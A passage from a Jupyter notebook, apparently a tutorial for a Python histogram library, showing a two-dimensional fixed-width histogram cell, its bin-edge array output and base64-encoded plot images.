"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\n", "text/plain": [ "<Figure size 432x288 with 2 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "histogram = h2(x, y, \"fixed_width\", bin_width=[2, 10], name=\"Fixed-width bins\", axis_names=[\"x\", \"y\"])\n", "histogram.plot();\n", "histogram.numpy_bins" ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "[array([ 96.75873266, 99.54993453, 100.40825276, 103.85273149]),\n", " array([-19.40388635, 3.93758311, 10.63077132, 17.28882177,\n", " 41.93107568])]" ] }, "execution_count": 9, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAZYAAAEYCAYAAAB/QtA+AAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjQuMSwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy/Z1A+gAAAACXBIWXMAAAsTAAALEwEAmpwYAAAZaElEQVR4nO3dfbAldX3n8fdnZhBkeHAYBIcHBTfEFXFFMwLRjbHAjaCUoAkU7ioYiRO2hKBlGUFTsazEXTQm6gZTyyjoZHVBNFqwMT4gDxoTBEHHyOOCIsPIAKJiBBcU+O4fp4ecwXtnztzpe7v73ver6tQ53adPn+/cuTOf/j10d6oKSZLasqjrAiRJ84vBIklqlcEiSWqVwSJJapXBIklqlcEiSWqVwSJJapXBIjWS3J/k6c3rjyX58xnup5L82jTv/ZckX9qWOqW+M1jUmSSvS/KdJD9PcleSv0my6xx99xVJ/mB8XVXtVFXfm83vrapPVNXvzOZ3SF0zWNSJJG8B3gO8FdgVOAzYD/hSku06LE3SNjJYNOeS7AK8Czitqr5QVb+squ8DxwP7A/+52W6T7qgkL06yfmz5jCTfTfKzJDckeeXYe69L8rUk70vykyS3JTmqee/dwG8BZzfdX2c36zfXhXV0krVJ7kvyz0n+wxb+mC9L8r0k9yb5iySLxusa228lOSXJLU2dH0qS5r1fS/KVJD9t9vPJiX/IUocMFnXhBcAOwGfGV1bV/cDngUm7ir7LKCB2ZRRUH0+yYuz9Q4Gbgd2B9wLnJklVvQP4R+DUpvvr1M19SZLnAecBfwgsB84BLk6y/WY+9kpgJfA84Bjg9ZvZ9mjg+cBzGIXrS5v1fwZ8CVgG7AP89ebqlPrCYFEXdgfuraqHp3hvA/DkSXZSVZ+qqjur6tGq+iRwC3DI2Ca3V9WHq+oRYA2wAthzBvW+ATinqq6qqkeqag3wEKPuu+m8p6p+XFXrgA8Ar97MtmdV1X3NtpcDBzfrfwk8Ddirqh6sqq9NtwOpTwwWdeFeYPckS6Z4bwXww0l2kuTEse6p+4CDGIXWRndtfFFVP29e7jSDep8GvGXj9zTftS+w12Y+c8fY69u3sO1dY69/PlbjHwMBrk5yfZLNtXqk3jBY1IUrGR3xv2p8ZZKlwFHAV5pVDwA7jm3ylLFtnwZ8GDgVWF5VTwKuY/Qf8SS25n4RdwDvrqonjT12rKrzN/OZfcdePxW4cyu+b1Rg1V1V9Yaq2otRN9zfTDcGJPWJwaI5V1U/ZTQm8tdJjkyyXZL9gE8xas18otl0LaNB8N2SPAV409huljIKhx8CJPl9Ri2WSd0NPH3CbT8MnJLk0IwsTfLyJDtv5jNvTbIsyb7A6cBWD7wnOS7JPs3iTxj9eR/Z2v1Ic81gUSeq6r3A24H3AT8DbmPUOnlJVT3QbPa/gG8D32c0iP3Jsc/fAPwlo9bP3cCzgX/aihI+CPxeMxPrf2yh1msYjbOczeg/+FuB121h/xcB1zIKx88B525FbRs9H7gqyf3AxcDpVXXbDPYjzal4B0n1QTN+8C7ghc0gtqSBssWiXqiq8xi1YF7QdS3SfJbkvCT3JLlubN1uSS5pzqe6JMmysffOTHJrkpuTvHTqvT7uO2yxSNLCkeRFwP3A31bVQc269wI/rqqzkpwBLKuqtyU5EDif0TT+vYAvA7/eTOGfli0WSVpAquqrwI8ft/oYRud60TwfO7b+gqp6qBnfu5VNzxWb0lTnEQzOLrvsUrvuOifXLtQcSMKiRf055rFVr5lat27dvVU10Qm/m5Nka34JrwceHFteXVWrt/CZPatqA0BVbUiyR7N+b+DrY9utb9Zt1rwIll133ZUHH3xwyxtqEE499VSuvvrqrst4zKGHHsrll1/edRkaoHXr1t3e1r6aS8htUXOVhpVtfe1UX7GlD/XnsFCSNK0kEz1m6O6N19lrnu9p1q9n05N992GCk30NFkkagFkOlouBk5rXJzE6D2vj+hOSbJ9kf+AAYIvdCZ13hSVZDFwD/KCqjk6yG6MT4fZjdGLc8VX1k+4qlKRubc244yOPbP7iDEnOB17M6Hp964F3AmcBFyY5GVgHHAdQVdcnuRC4AXgYeOOWZoRBD4KF0eUubgR2aZbPAC4dm/Z2BvC2roqTpD7YhtbIJqpquittHzHN9u8G3r0139FpV1hzHaSXAx8ZWz3dtDdJWrAWLVo00aMPuq7iA4wuDf7o2LpNpr0Be0zxOZKsSnJNkmseeOCBqTaRpHljlsdYWtVZsCQ5Grinqq6dyeeranVVrayqlUuXLm25Oknqj0lDpS/B0uUYywuBVyR5GaPb1O6S5OM0096ak3TGp71J0oLVl26uSXRWaVWdWVX7VNV+wAnAZVX1Gqaf9iZJC5Ytlm0z5bQ3SVrI+hIak+hFsFTVFcAVzesfMc20N0laiPp2/bwt6UWwSJI2zxaLJKlVtlgkSa3p08D8JAwWSRoAg0WS1CqDRZLUKsdYJEmtcbqxJKl1doVJklplsEiSWmWwSJJa43kskqTWLV68uOsSJmawSNIA2GKRJLXGrjBJUusMFklSqwwWSVKrPPNektQaL+kiSWqdwSJJapVjLJKk1tgVJklqnS0WSVKrDBZJUmuSeK0wSVK7HGORJLXKrjBJUmuGNiuss0qT7JDk6iTfTnJ9knc163dLckmSW5rnZV3VKEl9sfEKx1t69EGXEfgQcHhVPQc4GDgyyWHAGcClVXUAcGmzLEkLWpvBkuTNzQH9dUnObw70Wzuo7yxYauT+ZnG75lHAMcCaZv0a4Ni5r06S+mPjrLBJHhPsa2/gj4CVVXUQsBg4gRYP6jvttEuyOMla4B7gkqq6CtizqjYANM97TPPZVUmuSXLNAw88MGc1S1IXFi1aNNFjQkuAJyZZAuwI3EmLB/WdBktVPVJVBwP7AIckOWgrPru6qlZW1cqlS5fOWo2S1Adb0RW2+8aD7uaxanw/VfUD4H3AOmAD8NOq+hITHtRPohezwqrqviRXAEcCdydZUVUbkqxg1JqRpAVrKwfm762qlZvZ1zJGrZP9gfuATyV5zTYXOabLWWFPTvKk5vUTgZcANwEXAyc1m50EXNRJgZLUIy12hb0EuK2qflhVvwQ+A7yA5qAeYFsP6rtssawA1iRZzCjgLqyqv09yJXBhkpMZNdWO67BGSeqFFqcSrwMOS7Ij8P+AI4BrgAcYHcyfxTYe1HcWLFX1L8Bzp1j/I0Z/UEkS7V4rrKquSvJp4JvAw8C3gNXATrR0UN+LMRZJ0ua1efJjVb0TeOfjVj9ESwf1BoskDcCQLulisEhSz/Xpci2TMFgkaQBssUiSWmWLRZLUGu8gKUlqnS0WSVKrDBZJUmucFSZJap3BIklqlcEiSWqV57FIklqTxGCRJLXLrjBJUqsMFklSqwwWSVJrPI9FktQ6B+8lSa2yxSJJapXBIklqjWMskqTWGSySpFYZLJKkVjkrTJLUGsdYJEmtM1gkSa0aUrB01mmXZN8klye5Mcn1SU5v1u+W5JIktzTPy7qqUZL6YmN32JYefdDlaNDDwFuq6pnAYcAbkxwInAFcWlUHAJc2y5K0oA0pWDrrCquqDcCG5vXPktwI7A0cA7y42WwNcAXwtg5KlKRe8EZfM5BkP+C5wFXAnk3oUFUbkuwxzWdWAasAli1bxuLFi+eoWkmae31pjUyi8whMshPwd8CbqupfJ/1cVa2uqpVVtXLp0qWzV6Ak9cCQusI6DZYk2zEKlU9U1Wea1XcnWdG8vwK4p6v6JKkvDJYJZPQTOBe4sar+auyti4GTmtcnARfNdW2S1CeThkpfgqXLMZYXAq8FvpNkbbPu7cBZwIVJTgbWAcd1U54k9UdfQmMSXc4K+xow3U/qiLmsRZL6bkgTlDofvJckbV7bXWFJnpTk00luak5S/802T043WCRpAFoeY/kg8IWq+vfAc4AbafHkdINFkgagrWBJsgvwIkaTp6iqX1TVfYxOTl/TbLYGOHamtRoskjQAWxEsuye5Zuyx6nG7ejrwQ+CjSb6V5CNJlvK4k9OBKU9On0Qvzrxvw4knnth1CWrJkiVLOOyww7ou4zFLlizh8MMP77oMDdAVV1zR2r62opvr3qpauZn3lwDPA06rqquSfJCWr8k4b4Llox/9aNclqCWnnHIKn//857su4zHHH388N910U9dlaAFr+Vph64H1VXVVs/xpRsFyd5IVzaW0tunkdLvCJGkA2hpjqaq7gDuSPKNZdQRwAy2enD5vWiyS